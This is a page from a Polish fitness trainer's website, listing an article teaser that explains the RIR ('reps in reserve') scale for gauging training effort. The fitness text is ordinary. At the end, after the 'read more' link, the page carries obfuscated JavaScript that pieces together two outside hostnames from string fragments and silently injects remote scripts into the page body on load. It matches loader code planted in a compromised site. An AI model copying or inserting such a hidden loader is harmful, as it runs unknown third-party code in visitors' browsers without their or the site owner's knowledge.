kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 18 czerwca, 2025

Kategorie:

Skala RIR

Zrozumieć skalę RIR: Jak oceniać “powtórzenia w zapasie” i dlaczego to ważne w twoim treningu?

18 czerwca, 2025

Jak ocenić, czy seria treningowa była wystarczająco ciężka, ale nie za ciężka? Odpowiedzią jest RIR – skala “powtórzeń w zapasie”. To proste, ale niezwykle potężne narzędzie autoregulacji, które pozwala maksymalizować postępy i minimalizować ryzyko. Z tego artykułu dowiesz się wszystkiego, co musisz wiedzieć, aby zacząć stosować RIR w swoim treningu już dziś.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();